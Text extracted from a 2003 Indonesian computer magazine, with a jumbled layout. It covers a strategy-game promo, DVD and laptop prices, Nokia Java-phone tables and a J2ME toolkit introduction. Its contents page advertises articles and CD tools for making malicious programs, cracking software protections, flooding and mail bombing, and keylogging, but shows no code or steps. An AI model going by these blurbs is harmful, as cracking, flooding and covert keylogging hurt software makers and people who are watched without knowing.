NeoSoft
Impossible Creatures
RTS Berbasis Ilmu Genetika Dapatkan Bonus Animals dan IC Update 1.0.1 Pentium III 500MHz, 128MB RAM, 16MB Video RAM, 1,5 GB disk space, CD ROM 4x speed
Dr. Erik Chanikov mendapatkan cara untuk mengkombinasi dua hewan menjadi hewan lain yang sama sekali berbeda dengan kekuatan gabungan namun tanpa mewarisi kelemahan dari keduanya; teknik ini disebut sebagai Sigma Technology. Upton Julius pendukung keuangannya selama ini ternyata diam-diam berubah dan menganggap proyek ini sebagai sarana untuk menguasai dunia, bukan lagi untuk kemanusiaan. Walaupun Dr. Chanikov tidak menyadari agenda tersembunyi Julius, Dr. Lucy Willing, asistennya (yang juga ilmuwan genius), membaca gelagat buruk ini dan menyiapkan mobile laboratory sebagai sarana terakhir melindungi Dr. Chanikov serta proyek Sigma Technology, sambil tetap mengamati perkembangan.
Bom waktu ini akhirnya meledak dengan kehadiran wartawan perang Rex Chance yang muncul karena membaca surat panggilan dari masa lampau. Mampukah Upton Julius membuka kunci kekuatan Sigma Technology? Update files yang ada di CD NeoTek hanya bisa dijalankan pada Impossible Creature full version. Impossible Creatures full version dapat diperoleh dalam 2 CD (SGD55). Terdapat 10 hewan bonus yang dapat dibuka dengan unlocker yang ada di CD NeoTek, serta update menu yang terdapat pada Impossible Creature Update 1.0.1. Bila berminat dengan trial versionnya, download di http://www.microsoft.com/games/impossiblecreatures/downloads.asp
(285 Mbyte)
HomePage
Salam!
amkm anda meminta kami mendownload
Wireless Java Handphone Jadi Semarak
Software gratis di Internet? Tapi besarnya... 50Mb... 200Mb?
sa—elephant
sa—gajah
• Berbeda dengan waktu pertama kali diluncurkan pada tahun 1995, Java kini bukan lagi the natural language of the web, melainkan diposisikan sebagai mobile device platform, khususnya dengan J2ME. Nyaris tidak ada handphone terbaru sekarang tidak Java-enabled.
Kami dapat mendownloadkannya untuk anda.
ukan lagi sebagai bahasa alamiah untuk web, sekarang Java lebih berkembang untuk wireless device seperti PDA dan terutama kini adalah smart phone yang bisa dijadikan perangkat nyaris apa saja. Standard mobile media pun dikembangkan untuk dapat memainkan baik lagu maupun video clip di handphone anda
Kirimkan email ke:
[email protected] dengan:
Redaksi
[email protected]
• Subject: amkm • Isi pesan: Mohon download-kan [nama software] dari [www.blablabla.com]
B
Bagaimana menghubungi N EOTEK? KONTRIBUSI ARTIKEL
[email protected]
SURAT PEMBACA
[email protected]
WEBMASTER
[email protected]
PEMASARAN
[email protected]
LANGGANAN
[email protected]
ADMINISTRASI IKLAN Tel. 021-5481457
Fax. 021-5329041
SIRKULASI NEOTEK Tel. 021-5481457
ALAMAT REDAKSI
4 Cairnhill Rise #05-01 The Cairnhill Singapore 229740 Telp. +65-67386482
[email protected]
MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek
Jul/Agu 2003 NeoTek
1
Daftar Isi
Daftar Isi
NeoTek Vol. I I I No. 11 14
FOKUS BULAN INI
Aplikasi MIDP J2ME Wireless Toolkit
Membuat MIDlet anda yang pertama. Serupa dengan pemrograman Java biasa ditambah proses Preverifier.
16
Menempatkan MIDlet pada Web Server
Memahami OTA (Over The Air) Provisioning yang anda kenal sebagai fasilitas download langsung ke handphone
Wireless Java J2ME dan Mobile Media API
NeoStart 6
Java-enabled Phones
Karakteristik Nokia Javaenabled phones. Mulai dari Series 30 sampai Series 60 dengan Mobile Media API
8
J2ME Wireless Toolkit
IDE untuk membuat menjalankan maupun membuat aplikasi MIDP (MiDlet) lengkap dengan virtual device-nya.
10
Sony Ericsson P800
Gunakan mobile phone terbaru dan tercanggih ini tanpa harus memiliki secara fisik.
11
Palm OS Emulator
Download ROM image dari Palm device anda agar dapat dijalankan pada PC.
12
Nokia Series 40
Instalasi virtual device Nokia Series 40 serta mendaftar menjadi anggota Forum Nokia
Situs NeoTek
www.neotek.co.id neotek.kpone.com.sg
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
Link Langsung
Kunjungi situs-situs yang dibahas di majalah NeoTek dengan sekali klik lewat situs NeoTek.
NeoTek versi PDF
Kehabisan NeoTek di kota Anda? Dapatkan saja versi PDF-nya. Gratis!
Download
Tersedia juga download di situs NeoTek selain dari situs aslinya
Layanan Rupa-rupa NeoTek Channel #neoteker di Dalnet Ngobrol ramai-ramai sesama NeoTeker Web Chat Room Kini tidak usah jauh-jauh untuk ngobrol langsung dengan sesama NeoTeker Mailing List Ini yang paling ramai. Segera ikutan berbagi pengalaman berinternet! NeoTeker Official Portal http://www.neoteker.or.id Situs komunikasi antar Neoteker. Neoteker Internet Radio http://dj.neoteker.or.id:8000
2
NeoTek Agu/Sep 2003
17
MIDlet Gratis di Situs midlet.org
Selain secara OTA dapat juga men-download baik file .jad maupun .jar dari Java games pilihan anda.
18
Interaksi MIDlet dengan Web Server
Gunakan PWS dan ASP untuk membuat aplikasi MIDP yang memungkinkan interaksi handphone dengan server.
20
Pengantar MMAPI
21
Nokia Multimedia Converter 2.0
Mulai Nokia 3650 sudah tersedia Mobile Media API yang menyediakan player untuk audio/video..
Konversi file-file multimedia, baik dari file MPEG-1 maupun langsung dari Video CD track ke format 3gp yang dikenal oleh Nokia handphone. Music video on the move...
22
Nokia Developer’s Suite for J2ME
Selain dapat di-install stand alone, dapat pula diintegrasikan dengan Borlad J Builder atau Sun ONE Studio.
Daftar Isi
NeoTutor 36
Fake Program Buatan Sendiri
38
Program Jahat Buatan Sendiri
Program jahat yang bisa saja dipasang orang iseng, khususnya di warnet. Pelajari cara kerjanya.
NeoProfil
Windows RPC DCOM Bug
Bug terheboh semenjak unicode bug. Justru diketahui tidak sampai 3 bulan dari diluncurkannya (in)secure Windows Server 2003. Bagaimana ini sampai terjadi?
NeoTekno 41
Cracking DLL: FASoft Compressor
Menggunakan disassembler untuk meng-crack file .DLL
31
Cracking ASProtect: PowerPack 2003 Pro
Meng-crack ASProtect yang diterapkan pada PowerPack 2003 Pro.
30
Net Tools: Alat Bantu Hacking Serba Guna
Tool lengkap mulai dari ping session, IP resolver, sampai ke mail bombing, ping flood, hhtp flood, encryption, bahkan keylogger.
Impossible Creatures
0
Strategy game berbasis ilmu genetika.
Ingin membuat program sendiri dan bukan sekedar premakai saja? Mulai saja dengan Visual Basic 6.
40
NeoSoft
Editorial Office
3
4 Cairnhill Rise #05-01 The Cairnhill Singapore 229740 Telp. +65-67386482
Business Office
NeoReview 45
Gedung Cahaya Palmerah 503 Jl. Palmerah Utara III No. 9 Jakarta 11480 Telp. 021-5481457 Fax. 021-5329041
Memisahkan Audio dari Video
Batch linear editing VirtualDub dapat dengan mudah mengekstrak audio dari suatu file video.
46
Pemimpin Umum Fachri Said
Pemimpin Redaksi
Menggabungkan Kembali Audio dengan Video
Kosasih Iskandarsjah
Redaktur Ahli Onno W. Purbo Michael S. Sunggiardi
Lakukan dubbing dengan menggabungkan file audio ke file video juga dengan sekali langkah.
47
Pemimpin Usaha Fahmi Oemar Dadang Krisdayadi
Konversi ke Formatformat Lain
Redaktur Pelaksana
File video dapat dengan mudah diubah agar dapat dimainkan di Nokia phone ataupun Palm OS device.
Gianto Widianto
Sekretaris Redaksi Marni
NeoRagam
4 5 Inbox
Klak Klik Impossible Creatures 10 Bonus Animals Panasonic DVD Camcorder Optorite DD0303: DVD dan CD Burner Berbagai Format CD dan DVD Membanjir BenQ Joybook 3000 Banting Harga NmN
menjawab 44 Neoteker Neoteker
48
Daftar Isi CD NeoTek Wireless Java dan Multimedia
PC Spy (full version) pada dasarnya merupakan keylogger plus screenshot capture dan kontrol URL.
NeoTek Sep/Okt 2003
Webmaster Supriyanto
Konversi Analog ke Digital
Sirkulasi
Ternyata masih lebih banyak pemilik video camera analog daripada yang digital. Bagaimana bila hasil rekaman analog ini ingin dipindahkan juga menjadi VCD atau DVD?
Ada
di NeoCD Tek
Hedhi Sabaruddin, Denny
Adm. Langganan KRISHNAdiSTRIBUTOR
Iklan dan Promosi
Anonymous Proxy
Gianto Widianto
Ingin ‘berkiprah’ di Internet tanpa ketahuan orang? Gunakan anonymous proxy.
Aswan Bakri
Keuangan
Bank Bank BNI a.n. PT NeoTek Maju Mandiri No. rekening 070.001709720.001 Bank BCA Matraman (khusus untuk langganan)
a.n. Boedi Krishnadi No. rekening 342-239-1611
Agu/Sep 2003 NeoTek
3
NeoRagam
Klak Klik GAME BULAN INI Impossible Creatures 10 Bonus Animals 499 KB
Sayang sudah tidak ada tempat dalam CD NeoTek bulan ini untuk trial version dari Impossible Creatures (285 Mbyte), sehingga anda dianjurkan membeli saja full version-nya di tokotoko CD (yang original SGD55 dan terdiri dari 2 CD). Apabila sudah menginstal full version dari software ini, maka anda dapat membuka 10 hewan bonus yang tersembunyi dengan unlocker yang disediakan pada CD NeoTek kali ini. Hewan bonus yang akan muncul setelah menjalankan unlocker adalah:
• • • • • • • • • •
Dolphin Garfish Horse Kangaroo Moose Rattlesnake Raven Walrus Warthog Wooly Mammooth
Anda bisa kombinasikan hewan-hewan ini atau dengan hewan-hewan sebelumnya menjadi misalnya Kangaroomooth atau hewan-hewan tidak masuk akal lainnya.
LAPORAN DARI SIM LIM SQUARE
Panasonic DVD Camcorder anasonic semakin menunjukkan dukungannya terhadap format DVD-RAM Setelah meluncurkan DVD recorder yang mendukung standar DVD-R dan DVDRAM, kini Panasonic mengikuti jejak Hitachi meluncurkan DVD Camcorder, DVR-M30. Serupa dengan Hitachi DZ-MV380 Fitur dan kisaran harga Panasonic DVR-M30 sama dengan DVD Camcorder Hitachi yang terbaru DZMV380, demikian pula ukuran fisiknya. Keduanya mendukung perekaman langsung ke DVD disk yaitu ke DVD-R dan DVD-RAM menggunakan round caddy. Sama-sama mempunyai optical zoom 10x dan digital zoom 240x, 2,5” TFT screen, dan menyediakan slot untuk SD card, serta koneksi ke PC menggunakan USB 2.0. Sedikit keunggulan Hitachi DZ-MV380: 1 Megapixel CCD dibandingkan 800.000 pixel CCD pada Panasonic DVR-M30. Kini pembredaannya tinggal preferensi merk dan hasil bidikannya saja. DVD Recorder DMR-E60 Bulan lalu pernah dibahas Panasonic DVD Recorder yang diberi label harga SGD1250. Kini dengan har-
P
Pentium 500, RAM128 16MB 3D card
Optorite DD0203: DVD dan CD Burner VD-ROM drive sudah sangat terjangkau dengan harga SGD65 dan kini DVD-ROM/CD-RW combo bisa diperoleh dengan harga SGD125. Kini DVD writer yang semakin terjangkau pula. Optorite DVD burner DD0203 yang dapat merekan ke DVD+R (4x), DVD-R (4x), DVD+RW (2,4x), DVD-RW (2x), CD-R (24x), dan CD-RW (10x). Semuanya dengan harga SGD370.
D
4
NeoTek Agu/Sep 2003
ga itu sudah dapat diperoleh versi yang lebih baru yaitu DMR-E60 yang mempunyai kelebihan dapat download langsung dari DVD Camcorder serta menyediakan SD slot untuk mentransfer still photo. DMR-E50 sendiri kini harganya tinggal SGD1100 Media Berlimpah Kabar baik bagi pemilik DVD Camcorder, kini media DVD-R maupun DVDRAM ukuran 8 cm sudah tersedia melimpah dengan pilihan harga tergantung merk yang dipilih. DVD-R 8 cm round caddy merk Maxell dapat diperoleh dengan harga SGD18. Masih mahal memang, tetapi anda bisa memilih DVD-R tanpa caddy merk (tidak terkenal) Melody
dengan harga hanya SGD9. Anda tinggal pasang saja DVD-R disk ini kedalam caddy yang diperoleh dalam paket DVD Camcorder anda (square caddy pada Hitachi DZ-MV270E, DZ-MV238E) atau (round caddypada Hoitachi DZ-MV350, DZMV380, ataupun Panasonic DVR-M30). DVD-RAM yang masih mahal sebab belum tersedia versi ‘ekonomisnya.’ DVD-RAM 8 cm (double sided) merk Maxell masih dijual dengan harga SGD42, lebih mahal daripada versi 12 cm yang justru kapasitasnya lebih besar (tetapi hanya untuk DVD recorder dan tidak bisa untuk DVD Camcorder) yaitu SGD32 (untuk double sided) dan SGD19 (untuk single sided). Selengkapnya mengenai belantara disk ini lihat laporan Berbagai Format CD dan DVD Membanjir
Sebelumnya telah beredar adalah HP DVD300i juga dengan kemampuan merekan ke DVD+R (4x), DVD+RW (2.4x), dan juga tentu CD-R (16x), dan CD-RW (10x). Sony DRU-510a dengan harga di atas SGD400 memberikan kecepatan reekanDVD+R (4x), DVD-R (4x), DVD+RW (4x), DVD-RW (2x), CD-R (16x), dan CD-RW (16x). Kita bisa harapkan DVD burner akan semakin terjangkau dalam waktu tidak terlalu lama lagi.
NeoRagam LAPORAN DARI SIM LIM SQUARE
Berbagai Format CD dan DVD Membanjir elama bertahun-tahun kita hanya mengenal CD-R dan CD-RW, yang masing-masing adalah CD Recordable dan CD-ReWriteable. Kalaupun ada variasi adalah ukurannya yang dengan diameter 12 cm atau 8 cm. Variasi lainnya adalah ukuran kartu nama. Namun kini sejalan dengan munculnya DVD ROM dan juga DVD Writer, semakin bervariasi saja disk yang beredar di pasaran. CD-R dan CD-RW Sudah lama beredar dan semakin murah saja harganya. CD-R dapat diperoleh dengan harga SGD0.50 (di Indonesia pun dapat diperoleh dengan harga Rp2200) sampai SGD1.20 tergantung merk dan pengepakannya. Inilah yang membuat disket semakin tidak terpakai saja. CD-RW sedikit SGD2.20 sampai 2.50). lebih mahal (S Yang menarik adalah CD-R dan CDRW ukuran 8 cm (kapasitas 185 Mbyte dan bukannya 650/700 Mbyte) yang ternyata lebih mahal daripada yang ukuran normal. CD-R 8cm harganya SGD1.60 sedangkan CDRW 2.80 DVD-R DVD Rewritable kini sudah banyak beredar. Yang ukuran normal 12 cm harganya ada yang hanya SGD4.50. Justru yang ukuran 8 cm (untuk dipakai di DVD camera) yang harganya masih mahal. Merk Maxell (dengan cartridge harganya SGD18). Namun asalkan sudah mempunyai cartridge bekas dari DVD-R merk Maxell, anda bisa membeli merk Melody yang tidak terkenal dan tanpa cartridge dengan hanya SGD9. NeoTek sudah mencobanya dan berjalan baik pada DVD Camera Hitachi. DVD-RAM DVD-RAM diameter 12 cm tanpa cartridge ditujukan untuk pemilik SGD32 Panasonic DVD recorder (S
S
untuk yang double sided dan SGD19 untuk yang single sided). Adapun DVD-RAM dengan diameter 8 cm (dengan cartridge) dari Maxell masih mahal yaitu SGD42 (hanya tersedia yang double sided). Ini yang digunakan untuk DVD Camera. Namun mengingat dapat dipakai ulang sampai 10.000 kali, anda cukup memiliki 2 atau 3 saja DVD-RAM ukuran 8 mm ini (kecuali bila anda malas memindahkan rekaman dari DVDRAM anda ke CD-R atau DVD-R). DVD+R dan DVD+RW Ini format yang disponsori oleh Sony dan Philips dan terutama digunakan pada DVD Recorder dari kedua merk ini maupun untuk Sony DVD Camera yang berbeda bila dibandingkan dengan DVD Camera merk Hitachi atau Panasonic yang mendukung DVDRAM. Harga DVD+R bervariasi tergantung pada pabrikannya. Merk Sony masih SGD11), namun merk cukup mahal (S Verbatim) dapat terkenal lain (V diperoleh dengan harga SGD8. Merk tidak terkenal malah hanya SGD5. DVD-RAM vs DVD+RW Kedua format ini jelas saling bersaing. Persaingan yang jauh lebih hebat dibandingkan versi Recordable-nya (DVD-R vs DVD+R). Apabila DVD writer yang dapat merekam ke atas DVD+R juga biasanya juga dapat merekam ke atas DVD-R, maka DVD+R sama sekali berbeda dengan DVD-RAM. Panasonic meng-claim bahwa kini semakin banyak saja komputer dan perangkat elektronik lain yang mendukung DVD-RAM sambil menunjukkan keunggulan DVD-RAM dari segi tulis ulangnya (100.000 kali dibandingkan DVD+RW yang hanya 1000 kali tulis ulang). Sony di lain pihak juga meng-claim bahwa DVD+R bersifat paling kom-
BenQ Joybook 3000 Banting Harga aru saja bulan lalu NeoTek membahas Joybook 3000 yang diberi label SGD2499 oleh BenQ. Bulan ini produk yang sama dipromosikan dengan harga hanya SGD1999. Ini karena diluncurkannya Joybook 3000 dengan spesifikasi cukup jauh di atasnya dengan harga SGD2699. Laptop lain yang juga menarik dari segi harga dan fitur adalah NEC M320 yang menggantikan NEC Versa S600. Kini NEC
B
patibel dengan DVD Video (tidak perlu finalize sebelum diputar di DVD player maupun DVD ROM komputer seperti halnya DVD-R) dan DVD+RW juga demikian. Adapun DVD-RAM dikatakannya sebagai bukan format DVD sama sekali sebab tidak mungkin diputar di DVD player biasa (walaupun kini sudah tanpa caddy). Teknologi masih terus diperbaiki dan terlihat bahwa DVDForum terus meningkatkan kompatibilitas DVD-RAM agar mendapat tempat universal seperti DVD-R dan DVD-RW di dunia DVD player stand alone. DVD writer yang beredar sekarang ini mendukung DVD-R, DVR-RW, DVD+R, dan DVD+RW (juga tentunya CD-R dan CD-RW) dan belum ada yang mendukung DVD-RAM. Merk yang beredar diantaranya Sony, HP, dan Optorite. DVD-RAM merupakan format yang lebih banyak digunakan dalam DVD recorder (bagian dari Hi-Fi) serta DVD Camcorder (merk Hitachi dan Panasonic). Memang DVD-RAM writer untuk komputer sudah tersedia (misalnya dari Toshiba, tetapi belum dipopulerkan di kawasan Asia Tenggara). Toshiba DVD-RAM drive SD-W2002-TA, misalnya, dapat menulis pada DVDRAM dengan diameter 8 cm maupun 12 cm yang single-sided maupun double-sided dandapat membaca format DVD-RAM, DVD-ROM, dan CD (mencakup CD-ROM, CD-R, CD-RW, Video CD,CD-i, dan lain-lain). Persaingan ini membuat berbagai macam disk ini semakin mudah didapat. Pada saat NeoTek membahas DVD Camera, DVD-RAM dan DVD-R masih mahal dan sulit didapat. Kini sudah beredar di mana-mana bersaman dengan saingannya DVD+R dan DVD+RW, baik di toko-toko komputer maupun toko-toko yang menjual peralatan audio/video.
M320 dengan prosesor Pentiuj 4 2.2 GHz, RAM 256 Mbyte, hard disk 30 Gbyte, video card ATI Radeon, DVD-ROM/CDRW combo, dan dilengkapi dengan 4 USB 2.0 port, port IEEE 1394, infrared port, bahkan PS/2 port (barang lawas yang kini muncul lagi dan bahkan dipromosikan), modem 56Kbyte, dan ethernet card 10/100 Mbit. Sayang belum integrated Wi-Fi. Semua itu hanya SGD2299. Dengan laptop semakin komplit dan murah, membeli desktop bermerek semakin tidak menarik. Agu/Sep 2003 NeoTek
5
NeoStart
WI R E LE SS D EVI C E
Java-enabled phones Pemrograman kini bukan hanya pada komputer, melainkan pada perangkat lain seperti pada smart handphone dan PDA (personal data assistant). Sudah banyak handphone Nokia yang Java-enabled dan anda dapat mengembangkan aplikasi untuk perangkat ini. ANDA BERMINAT MENGEMBANGKAN APLIKASI MIDP (MIDlet) untuk ponsel Nokia atau akan membeli ponsel Java-enabled dari Nokia? Mungkin tabel-tabel berikut dapat membantu Anda baik dalam pembuatan aplikasi ataupun dalam menentukan pilihan. Mungkin tidak banyak yang mengetahui kalau Nokia sudah mengeluarkan beberapa ponsel Java-enabled. Beberapa di antaranya memang tidak beredar di Indonesia, walaupun demikian kita tetap bersyukur karena Nokia seri 60 (3650 dan 7650) yang memiliki teknologi terkini (high-end) telah hadir di Indonesia. Bagi Anda yang akan membeli ponsel Nokia seperti yang tercantum di bawah, perhatikan pula frekuensi yang dipergunakan, karena operator GSM di Indonesia hanya mempergunakan GSM 900/1800.
A
PAKAH
Ukuran Layar, Warna, dan Softkey Series Model Screen/Canvas Size Colors 30 30 30
3410 96x65 / 96x54 3510i 96x65 / 96x54 3585 96x65 / 96x54
Black/White 4096 Black/White
30 30
3590 96x65 / 96x54 6310i 96x65 / 96x54
Black/White Black/White
40
6610 128x128 / 128x96
4096
40
7210 128x128 / 128x96
4096
40
6650 128x160 / 128x143
4096
60
3650 176x208 / 176x144
4096
60
7650 176x208 / 176x144
4096
80 80 80
9210 640x200 / 460x163 9210i 640x200 / 460x163 9290 640x200 / 460x163
4096 4096 4096
NeoTek Agu/Sep 2003
Series Model Memory for MIDlets 3410 3510i 3585 3590 6310i
~150 kB ~180 kB ~200 kB ~230 kB ~180 kB
~164 kB
40 40
6610 ~600 kB 7210 ~600 kB
~200 kB ~200 kB
64 kB 64 kB
60
3650 upto user free memory (<4 MB) + memory card 7650 up to user free memory
amount of free free user RAM (changes memory dynamically) (,<4 MB) + memory card amount of free free user RAM (changes memory dynamically)
free user memory, within WAP GW restriction free user memory, within WAP GW restriction
Keys Two soft key UI Two soft key UI Two soft key UI, four-way scrolling Two soft key UI Two soft key UI Two soft key UI, four-way scrolling Two soft key UI, four-way scrolling Three soft key UI, four-way scrolling Two soft key UI, five-way navigation key UI Two soft key UI, five-way navigation key UI QWERTY keyboard QWERTY keyboard QWERTY keyboard
Heap Memory Persistent OTA Size Storage Size Download Limit
30 30 30 30 30
60
Catatan: • Ukuran layar (screen) berdasarkan jumlah pixel keseluruhan pada layar. • Ukuran kanvas (canvas) berdasarkan bagian layar yang tersedia untuk tampilan aplikasi (di luar indikasi status dan lain-lain). • Jika menggunakan class FullCanvas yang terdapat pada Nokia UI API, dimungkinkan untuk menggunakan keseluruhan ukuran layar. 6
Kapasitas Memory
80
80
80
9210
~140 kB ~140 kB ~140 kB
app mem.: amount of free 14 MB RAM (changes exec mem: dynamically) 8 MB (DRAM) user mem: 2MB + 16 MB memory card 9210i app mem.: amount of free 14 MB RAM (changes exec mem: dynamically) 8 MB (SDRAM) user mem: 16MB + memory card 9290 app mem.: amount of free 14 MB RAM (changes exec mem: dynamically) 8 MB (SDRAM) user mem: 16MB + 16 MB memory card
32 kB 20 kB 20 kB
50 kB 64 kB 32 kB (via cable) 30 kB 30 kB
N/A
N/A
N/A
Catatan: Pada seri 60 dan seri 80, application memory, heap memory dan persistent storage dialokasikan dari RAM yang tersedia. Penggunaan method Runtime.getRuntime().freeMemory() tidak akan memberikan nilai sebenarnya, sebab free memory berubah secara dinamis.
NeoStart Java API Series Model
Nokia 3510i dengan gaming cover Java API
30 30 30 30 30
3410 3510i 3585 3590 6310i
CLDC 1.0, MIDP1.0, NOKIA UI API, SMS API CLDC 1.0, MIDP1.0, NOKIA UI API CLDC 1.0, MIDP1.0, NOKIA UI API CLDC 1.0, MIDP1.0, NOKIA UI API CLDC 1.0, MIDP1.0, NOKIA UI API
40 40 40
6610 7210 6650
CLDC 1.0, MIDP1.0, NOKIA UI API CLDC 1.0, MIDP1.0, NOKIA UI API 1CLDC 1.0, MIDP1.0, NOKIA UI API
60
3650
60
7650
CLDC 1.0, MIDP1.0, NOKIA UI API (Vibration and back light not supported), Wireless Messaging API, Mobile Media API CLDC 1.0, MIDP1.0, NOKIA UI API (Vibration and back light not supported)
80
9210
80
9210i
80
9290
PersonalJavaTM and JavaPhoneTM APIs. MIDP software available at Forum Nokia web site PersonalJava and JavaPhone APIs. MIDP software available at Forum Nokia web site PersonalJava and JavaPhone APIs. MIDP software available at Forum Nokia web site
Catatan penulis: Saat penulis berkunjung ke situs Forum Nokia, yang baru tersedia adalah MIDP Software for Nokia 9210 Communicator download di: http://www.forum.nokia.com/files/ nds_disclaimer/ 1,6673,2127,00.html Karena Nokia 9210 Communicator menggunakan Symbian OS 6.0, maka MIDP software tersebut merupakan aplikasi Symbian OS, dengan nama file hasil downloadnya MIDP_beta_sw_for_9210.sis
Modus Provisioning dan Teknologi Wireless 30 30 30
3410 3510i 3585
30 30
3590 6310i
40 40 40
Wireless Tech
Frequency
WAP WAP Serial Cable
CSD CSD CSD/1xRTT
GSM 900/1800 GSM 900/1800 CDMA/AMPS 800/1900 WAP CSD/GPRS GSM 850/1900 WAP, IR, Serial CableCSD/HSCSD/GPRS GSM 900/1800/1900
6610 7210 6650
WAP, IR, Serial Cable WAP, IR, Serial Cable WAP, IR, Bluetooth MMS
CSD/HSCSD/GPRS CSD/HSCSD/GPRS CSD/HSCSD/GPR/S UMTS
60
3650
60
7650
WAP, IR, Bluetooth CSD/HSCSD/GPRS GSM 900/1800/1900 email, MMS WAP, IR, Bluetooth CSD/HSCSD/GPRS GSM 900/1800 email, MMS
80 80 80
9210 9210i 9290
WAP, IR, Serial CableCSD/HSCSD WAP, IR, Serial CableCSD/HSCSD WAP, IR, Serial CableCSD
Ukuran Font dan Icon Series Model FontFace FontStyle
Nokia 3410
Series Model Provision Modes
Nokia 3650
GSM 900/1800/1900 GSM 900/1800/1900 GSM 900/1800/1900, WCDMA
Font Size Small Med. Large (default)
30 30 30 30 30
3410 3510i 3585 3590 6310i
SYSTEM(0) PLAIN (0) SYSTEM (0)PLAIN (0)
11 11
13 13
16 16
SYSTEM (0)PLAIN (0)
8
11
13
40 40 40
6610 7210 6650
SYSTEM (0)PLAIN (0) SYSTEM (0)PLAIN (0)
9 9
16 16
23 23
60 60
3650 7650
SYSTEM (0)PLAIN (0) SYSTEM (0)PLAIN (0)
14
15
16
80 80 80
9210 9210i 9290
SYSTEM (0)PLAIN (0) SYSTEM (0)PLAIN (0) SYSTEM (0)PLAIN (0)
12 12 12
19 19 19
Maximum Font Size (pixel) 14x15 14x15 14x15 14x15 14x15 18x18 18x18 18x18 18x18 18x18
Catatan penulis: • Pemilihan font dapat mempergunakan method getFont() dari class Font (jjavax.microedition.lcdui.Font). • Untuk menggambar teks berdasarkan font dan warna yang telah dipilih dapat dipergunakan method: drawChar(), drawChars(), drawString() dan drawSubstring() dari class Graphics (jjavax.microedition.lcdui.Graphics). Referensi Dikutip dari: "Characteristics of Nokia Java-Enabled Phones v1.0" http://www.forum.nokia.com/ndsCookieBuilder?fileParamID=2459 Penulis (Fitrianto Halim) dapat dihubungi lewat email
[email protected]
GSM 900/1800 GSM 900/1800 GSM 1900
Agu/Sep 2003 NeoTek
7
NeoStart
WI R E LE SS JAVA
Mengenal J2ME Wireless Toolkit J2ME Wireless Toolkit dapat menyediakan IDE untuk menjalankan proyek yang sudah ada, membuat proyek baru, menjalankan MIDlet, membuat paket, dan lain-lain. Bukan sekedar menyajikan skin untuk virtual device berupa berbagai ponsel maupun Palm OS device. Fitrianto Halim (
[email protected]) membahasnya untuk anda.
P
ADA ARTIKEL KALI INI, KITA AKAN BELAJAR MENGGUNAKAN
Java 2 Micro Edition Wireless Toolkit (J2MEWTK) yang disediakan oleh Sun Microsystems selaku pengembang bahasa Java. J2ME Wireless Toolkit dapat di-download di: http://java.sun.com/products/j2mewtoolkit/ Saat penulis men-download-nya (akhir tahun 2002) telah tersedia versi 1.0.4 yang merupakan perbaikan perbaikan dari versi sebelumnya (versi 1.0.3). Yang agak sedikit mengejutkan, saat penulis membaca tentang Required Software (software yang dibutuhkan), yaitu tercantum (Unsupported)Microsoft Windows 98 yang dapat diartikan "(tidak mendukung) Microsoft Windows 98".
Namun, pernyataan ini dapat diabaikan, karena sepengetahuan penulis J2ME Wireless Toolkit 1.0.4 dapat berjalan dengan baik pada Microsoft Windows 98 (penulis telah menggunakannya pada Microsoft Windows 98 tanpa masalah). Karena J2ME Wireless Toolkit berbasis Java, maka Anda perlu meng-install Java 2 SDK terlebih dahulu, minimal Java 2 SDK versi 1.3. Proses instalasinya bisa dilihat pada Gambar 1 hingga Gambar 3 (penulis ambil yang penting-penting saja). Pada Gambar 2, J2ME Wireless Toolkit mendeteksi telah ter-install-nya Java 2 SDK pada folder C:\jdk1.3. Pada Gambar 3, J2ME Wireless Toolkit akan di-install pada folder C:\WTK104 (default-nya).
Instalasi J2ME Wireless Toolkit
1
2
3
4 5
8
NeoTek Agu/Sep 2003
NeoStart Setelah Anda selesai meng-install-nya, Anda kini dapat ulai menjalankan J2ME Wireless Toolkit pada menu Start > Programs (lihat Gambar 4). Menu Default Device Selection (lihat Gambar 5) berguna untuk memilih device yang akan digunakan sebagai default. Ada enam (6) buah device yang dapat dipilih, yaitu: • DefaultColorPhone • DefaultGrayPhone • MinimumPhone • Motorola_i85s • PalmOS_Device • RIMJavaHandheld
yang beberapa tampilannya bisa dilihat pada Gambar 6 hingga Gambar 10 (untuk PalmOS_Device, penulis belum sempat mencobanya, karena harus meng-install POSE— Palm OS Emulator— terlebih dahulu). Secara garis besar, device-device tersebut dapat dikatakan hanya berupa skin (kulit), terkecuali untuk PalmOS_Device. Menu KToolbar (lihat Gambar 11) dapat dikatakan semacam IDE, dimana kita bisa membuka proyek yang telah ada, membuat proyek baru, menjalankan MIDlet, membuat paket dan lain-lain. Menu Run MIDP Application ... (lihat Gambar 12) berguna untuk menjalankan JAD (J2ME Application Descriptor). Filefile JAD bisa Anda dapatkan di: C:\WTK104\apps\namaproyek\bin, dengan nama-proyek tergantung pada proyek yang ada. Pada J2ME Wireless Toolkit versi 1.0.4 telah tersedia empat (4) buah proyek yang dapat dicoba, yaitu: demos (Gambar 13), games (Gambar 14), photoalbum (Gambar 15), dan UIDemo.
Penutup Penulis berharap pengantar yang singkat ini dapat memberi gambaran sebelum melangkah lebih lanjut, terutama sebelum melangkah ke sisi pemrograman. Selamat mencoba... Palm OS Emulator begitu dijalankan akan menampilkan menu yang mengharuskan megambil sesi emulator berupa ROM image yang dapat diperoleh dari file ataupun dengan cara mendownload-nya dari Palm OS yang anda miliki.
Pilihan Virtual Device dan IDE untuk MIDlet
11 12
6
8
7
9
10
13
14
15
Agu/Sep 2003 NeoTek
9
NeoStart
WI RE LESS JAVA
M
SONY E RICSSON P800 J2ME WIRELESS TOOLKIT Untuk dapat menggunakan mobile phone terbaru seperti Sony Ericsson P800, anda tidak harus benar-benar memilikinya secara fisik. Anda dapat memasang virtual device ini pada J2ME Wireless Toolkit.
ENGEMBANGKAN APLIKASI UNTUK WI-
reless device tidak berarti bahwa anda harus benar-benar memiliki hardware-nya. Berbagai virtual device dapat dipasang pada J2ME Wireless Toolkit seperti Sony Ericsson P800, Sony Ericsson T610, Nokia Series 40, maupun berbagai handphone mutakhir lainnya. Yang anda perlukan adalah menginstalasi toolkit dan skin handphone yang sesuai. Untuk Palm OS, anda dapat menginstal Palm OS Simulator untuk jenis-jenis hardware yang tersedia atau Palm OS Emulator yang merupakan ‘kosongannya.’
Instalasi virtual device Sony Ericsson P800
S
EPERTI TERTULIS PADA ARTIKEL SEBELUMNYA YAITU
